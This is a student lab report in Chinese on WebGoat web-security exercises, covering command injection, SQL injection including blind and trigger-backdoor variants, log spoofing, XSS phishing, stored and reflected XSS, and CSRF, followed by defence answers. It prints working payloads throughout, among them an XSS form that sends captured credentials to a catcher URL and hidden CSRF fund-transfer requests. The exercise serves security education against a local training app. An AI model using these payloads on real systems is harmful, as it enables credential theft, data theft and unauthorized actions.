2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp9 Web安全基础
一、实验任务
本实践的具体要求有:
1.理解常用网络攻击技术的基本原理。
2.做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
3.基础问题回答。
二、实验步骤
【任务一:WebGoat】
1.原理:WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。
2.由于在第一次尝试时,发现打开WebGoat后,浏览器中好多菜单栏没有显示,查明原因是jdk版本不对,因此首先从https://www.oracle.com/java/technologies/javase-jdk8-downloads.html
中下载正确版本的jdk:jdk-8u251-linux-x64.tar.gz
,并拖拽至Kali虚拟机中。
3.对jdk的环境进行设置并更新jdk,使用的命令较多,这里不一一说明了,配置过程如下图;
4.使用java -version
指令验证,出现红框中的提示,说明设置jdk成功。
5.下载webgoat-container-7.0.1-war-exec.jar
并拖拽至Kali中;
6.WebGoat默认使用8080端口,开启前先输入命令netstat -tupln | grep 8080
查看8080端口是否被占用,如下图,发现8080端口没有被占用;如果被占用,则输入指令kill 进程号
杀死占用8080端口的进程。
7.在Kali中输入命令java -jar webgoat-container-7.0.1-war-exec.jar
,出现如下运行成功提示;
8.在浏览器中输入“http://localhost:8080/WebGoat”进入WebGoat登录界面;
9.使用页面下面默认的用户名和密码即可进行登陆;
【任务二:SQL注入攻击(Injection Flaws)】
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
{命令注入(Command Injection)}
1.概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
2.原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
3.目标:可以在目标主机上执行任何系统命令。
4.步骤:①在菜单栏中选择Injection Flaws
,展开页面中选择Command Injection
。
②右键菜单栏中的Command Injection
,选择inspect Element
审查网页元素对源代码进行修改,在复选框中依次点开小箭头,在对应位置双击修改,添加& netstat -an & ipconfig
语句。
③修改后,点击```view```按钮 ,下拉页面,我们可以看到执行指令后的网络端口使用情况和IP地址,成功。
{数字型注入(Numeric SQL Injection)}
1.概念:注入数字型数据(如:永真式)达到注入的效果。
2.原理:在station字段中注入特征字符,组合成新的SQL语句。
如:SELECT * FROM weather_data WHERE station = [station]
。
3.目标:该例子通过注入SQL字符串查看所有的天气数据。
4.步骤:①在菜单栏中选择Injection Flaws
,展开页面中选择Numeric SQL Injection
。
②右键点击页面,选择```Inspect Element```审查网页元素对源代码进行修改,在选中的城市编号```Value```值中添加```or 1=1```。
③修改后,点击```Go!```按钮,即可显示所有城市的天气情况,成功。
{日志欺骗(Log Spoofing)}
1.概念:通过在日志文件中插入脚本实现欺骗。
2.原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
3.目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。
4.步骤:①前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。
②在菜单栏中选择Injection Flaws
,展开页面中选择Log Spoofing
。
③利用入回车(0D%)和换行符(%0A),在 username 中填入```gxy%0d%0aLogin Succeeded for username: admin```。
④点击```Login```按钮,可见```gxy```在```Login Fail```那行显示,我们自己添加的语句在下一行显示,如下图;
⑤攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie
信息。
{SQL 注入(LAB: SQL Injection)}
1.字符串型注入(Stage 1: String SQL Injection):
①原理:通过注入字符串绕过认证。
②目标:以某一身份进行登录,获得全部成员信息。
③步骤:!在菜单栏中选择Injection Flaws
,展开页面中选择LAB: SQL Injection
,展开页面中选择String SQL Injection
。
!右键点击页面,选择```Inspect Element```审查网页元素对源代码进行修改,将```password```密码框的最大长度限制改为18。![](https://img2020.cnblogs.com/blog/1271383/202005/1271383-20200527102625883-781722801.png)
!以用户```Neville Bartholomew(admit)```登录,输入密码```hello' or '1' = '1```。
!可以进行欺骗,以最高权限进行登录,获取到所有人员列表。
2.数字型 SQL 注入(Stage 3: Numeric SQL Injection):
①原理:通过注入数字型数据,绕过认证。
②目标:可以通过普通员工的账户,查看到BOSS的用户信息。
③步骤:!在菜单栏中选择Injection Flaws
,展开页面中选择LAB: SQL Injection
,展开页面中选择Numeric SQL Injection
。
!使用用户名```Larry```,密码```larry```登录,点击```ViewProfile```查看用户信息。
!右键点击页面,选择```inspect Element```审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
!老板应该是工资最高的,所以将员工ID的```value```改成```101 or 1=1 order by salary desc```,使得Boss的信息作为查询到的第一条数据(始终是最高的)。更改后再次点击```ViewProfile```,即可查询到最高纪录的结果。
{字符串注入(String SQL Injection)}
1.概念:通过注入字符串绕过认证。
2.原理:基于以下查询语句构造自己的 SQL 注入字符串:SELECT * FROM user_data WHERE last_name = '?'
3.目标:尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。
4.步骤:①在菜单栏中选择Injection Flaws
,展开页面中选择String SQL Injection
。
②正常情况下只能查询到用户名对应的信用卡号码。
③输入查询的用户名Smith' or 1=1-- (1=1是恒等式,因此能查询到表里面的所有数据),查询到所有用户信用卡号码如下。
{数据库后门(Database Backdoors)}
1.概念:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。
2.原理:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
3.目标:利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
4.步骤:①在菜单栏中选择Injection Flaws
,展开页面中选择Database Backdoors
。
②输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易被```SQL```注入。
③输入注入语句101; update employee set salary=18000 执行两个语句。
④输入指令101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='gxy@hackme.com'WHERE userid = NEW.userid
BEFORE/AFTER
参数指定了触发执行的时间,FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次。
{数字型盲注入(Blind Numeric SQL Injection)}
1.原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
2.目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到pins
表中cc_number
字段值为1111222233334444
的记录中pin
字段的数值。pin
字段类型为int
,整型。输入找到的数值并提交,通过该题目。
3.步骤:①在菜单栏中选择Injection Flaws
,展开页面中选择Blind Numeric SQL Injection
。
②本题目中,服务端页面返回的信息只有两种:帐号有效或无效。如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。
③例如:输入查询语句101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效。
④针对查询语句的后半部分构造复杂语句,如:```101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )```;如果提示有效,则```pin```值大于```5000```,如果无效,则```pin```值小于```5000```。
⑤使用二分法,最终得出pin的值为2364,输入2364进行验证。
{字符串型盲注入(Blind String SQL Injection)}
1.原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
2.目标:找到pins
表中cc_number
字段值为4321432143214321
的记录中pin
字段的数值。pin
字段类型为varchar
。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
3.步骤:①在菜单栏中选择Injection Flaws
,展开页面中选择Blind String SQL Injection
。
②输入```101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )```;判断第一个字母是不是是否比字母“M”小,同样用二分法确定第一个字母。
③接下来依次确认其他字母,其他字母均为小写 ,最终得到结果为```Jill```。
【任务三:XSS攻击(Cross‐Site Scripting)】
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
{XSS 钓鱼(Phishing with XSS)}
1.原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
2.目标:创建一个 form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
。
3.步骤:①在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Phishing with XSS
。
②利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
!受害人填写一个表格;
!服务器以读取脚本的形式,将收集到的信息发送给攻击者。
③编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat。
④编写一个带用户名和密码输入框的表格。
⑤将下面这段代码输入到"Search:"输入框中,点击search;结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
⑥如果真的在登录框中输入用户名、密码,比如,20175202,20175202,点击```Login```后,出现提示,显示被窃取的用户名和密码,如下图。
{存储型XSS攻击(Stored XSS Attacks)}
1.原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
2.目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。通过javascript获取用户的cookie,根据这个cookie窃取用户信息。重定向网站到一个钓鱼网站。重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器。
3.步骤:①在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Stored XSS Attacks
。
②在```title```中任意输入字符均可(我输入的5202),留言板中输入```<script>alert("I am 20175202gxy. You've been attacked!!!");</script>```。
{反射型XSS攻击(Reflected XSS Attacks)}
1.原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
2.目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击。
3.步骤:①在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Reflected XSS Attacks
。
②输入XSS钓鱼中的代码,```<script>alert("hiahiahia You've been attacked!!! I'm Hy~ luelue");</script>```,点击```purse```按钮,成功显示警告框,内容为我们script脚本指定的内容:;
③假如我们输入前面编写的脚本,原理相同,同样会成功。
【任务四:CSRF攻击】
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
{跨站请求伪造(Cross Site Request Forgery (CSRF))}
1.原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如:<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
2.目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
3.步骤:①在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Cross Site Request Forgery (CSRF)
。
②查看页面下端```Parameters```中的```src```和```menu```值,分别为321和900。
③在title中输入任何参数(我输入的5202),message框中输入```<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />```,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。
④在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
{绕过 CSRF 确认( CSRF Prompt By‐Pass)}
1.原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
2.目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
3.步骤:①在菜单栏中选择Cross‐Site Scripting
,展开页面中选择CSRF Prompt By‐Pass
。
②在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
③在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。
三、实验过程中遇到的问题
1.问题:第一次尝试时,发现打开WebGoat后,浏览器中好多菜单栏没有显示,如下图。
解决:查明原因是jdk版本不对,因此首先从``````中下载正确版本的jdk:jdk-8u251-linux-x64.tar.gz
,并拖拽至Kali虚拟机中,对jdk的环境进行设置并更新jdk,配置过程在上述实验过程中已经写明了,完成后,成功了,如下图。
2.问题:使用命令查看端口,发现8080端口有进程占用,但是用kill
命令却无法杀死进程。
解决:关掉虚拟机,重新打开Kali虚拟机后,再次检测,发现8080端口没有进程占用了。
四、问题的回答
1.SQL注入攻击原理,如何防御?
原理:①SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
②Web应用对后台数据库查询语句处理存在的安全漏洞。即为:在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查,例如;',--,#
这些特殊字符。
③攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
防御:①过滤传入参数,限制使用诸如',--,#
这些特殊字符。
②限制数据库权限和特权,将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。
2.XSS攻击的原理,如何防御?
回答:①XSS:跨站脚本。攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
②攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
防御:①对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
②实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie,防止用户通过JS获取cookie。
3.CSRF攻击原理,如何防御?
原理:①CSRF :跨站请求伪造。即冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
②主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码防御。
防御:①在客户端页面增加伪随机数,使用户每次提交的表单都包含伪随机值。
②添加随机验证,每一个提交页面,使用一个验证码,都需要一个不同的验证码。
五、实验心得与体会
本次实验的内容为Web安全基础,主要是进行各种方式的攻击,包括SQL注入攻击,XXS攻击和CSRF攻击。实验过程中除了虚拟机比较卡,几乎没有遇到什么问题,问题主要就是开始的JDK版本不对,导致WebGoat无法正常打开,在重新配置JDK时花了很多时间,最后成功完成了实验。这是这门课程的最后一个实验,本学期的实验过程中,我学会了很多理论和实践知识,认识到了网络环境其实充斥着很多不安全的因素,也时刻提醒我要提高安全意识,注意保护自己的个人信息。我的收获非常大,希望以后自己能对学到的知识加以运用。